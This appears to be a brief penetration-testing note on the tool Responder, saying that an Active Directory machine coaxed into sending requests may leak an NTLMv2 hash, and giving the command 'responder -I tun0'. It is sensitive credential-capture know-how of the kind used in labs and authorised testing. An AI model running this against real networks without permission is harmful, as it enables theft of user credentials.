responder

If you are able to get an AD computer to send requests to you, you may be able to capture an NTLMv2 hash.

responder -I tun0